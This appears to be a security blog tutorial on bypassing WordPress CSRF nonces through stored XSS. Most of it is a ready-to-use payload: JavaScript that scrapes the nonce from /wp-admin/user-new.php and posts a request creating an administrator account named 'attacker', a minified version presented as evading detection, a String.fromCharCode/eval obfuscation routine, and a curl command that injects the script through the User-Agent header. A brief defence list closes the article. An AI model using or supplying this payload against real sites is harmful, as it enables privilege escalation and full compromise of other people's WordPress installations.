Bypassing Anti-CSRF Protection with XSS: Exploiting WordPress Nonces

Published on February 13, 2025


WordPress nonces are used to prevent Cross-Site Request Forgery (CSRF) attacks, but when a Cross-Site Scripting (XSS) vulnerability exists, an attacker can extract the nonce and bypass CSRF protections. This article explores how an attacker can leverage stored XSS to extract nonces and escalate privileges.

1. Understanding WordPress Nonces and CSRF Protection

WordPress nonces are security tokens required in HTTP requests for privileged actions. These tokens:

  • Expire after a set time (typically 24 hours).
  • Are unique per action and user session.
  • Prevent CSRF by verifying authorized requests.

However, if an XSS vulnerability exists, attackers can inject JavaScript and steal the nonce dynamically when an admin visits the infected page.

2. Exploiting XSS to Extract the WordPress Nonce

The nonce for creating new users is embedded in the response of /wp-admin/user-new.php. The following JavaScript can extract it:

var ajaxRequest = new XMLHttpRequest();
ajaxRequest.open("GET", "/wp-admin/user-new.php", false);
ajaxRequest.send();
var nonceMatch = /ser" value="([^"]*?)"/g.exec(ajaxRequest.responseText);
var nonce = nonceMatch[1];

How it works:

  1. Sends a GET request to /wp-admin/user-new.php while the admin is logged in.
  2. Extracts the nonce from the response using a regular expression.
  3. Once stolen, the nonce can be used for malicious requests.

3. Using the Stolen Nonce to Create an Admin Account

With the extracted nonce, an attacker can create an admin account using a POST request:

var params = "action=createuser&_wpnonce_create-user=" + nonce + 
             "&user_login=attacker&email=attacker@evil.com" + 
             "&pass1=attackerpass&pass2=attackerpass&role=administrator";

var request = new XMLHttpRequest();
request.open("POST", "/wp-admin/user-new.php", true);
request.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
request.send(params);

Steps in the attack:

  1. Inject JavaScript into a vulnerable input field.
  2. Admin visits the page, triggering the script.
  3. The script extracts the nonce and sends a POST request.
  4. A new admin account is created, granting the attacker full control.

4. Minifying the JavaScript Payload

Minification reduces script size and avoids detection. The minified version of the script:

var a=new XMLHttpRequest();a.open("GET","/wp-admin/user-new.php",false);a.send();
var n=/ser\" value=\"([^\"]*?)\"/g.exec(a.responseText)[1];
var p="action=createuser&_wpnonce_create-user="+n+"&user_login=attacker&role=administrator";
var r=new XMLHttpRequest();r.open("POST","/wp-admin/user-new.php",true);
r.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
r.send(p);

5. Encoding the Payload for Injection

Encoding prevents detection and execution issues. A function to convert the payload into Unicode character codes:

function encode_to_javascript(string) {
    var output = '';
    for (var pos = 0; pos < string.length; pos++) {  
        output += string.charCodeAt(pos);
        if (pos != (string.length - 1)) {  
            output += ",";
        }
    }
    return output;
}

The payload can then be executed using:

eval(String.fromCharCode(118,97,114,...));

6. Delivering the Attack via HTTP Request

Attackers can send the malicious script via HTTP request:

curl -i http://wpexample.com --user-agent "<script>eval(String.fromCharCode(118,97,114,...))</script>" --proxy 127.0.0.1:8080

7. Impact and Defense Strategies

Impact:

  • Bypasses CSRF protection.
  • Escalates privileges to an administrator account.
  • Leads to full WordPress compromise.

Defense:

  • Sanitize input and prevent XSS.
  • Use Content Security Policy (CSP).
  • Ensure nonces are session-bound.
  • Regularly audit plugins and themes for vulnerabilities.

8. Conclusion

CSRF protections using nonces can be bypassed when XSS is present. Proper mitigation against XSS is crucial to maintaining WordPress security.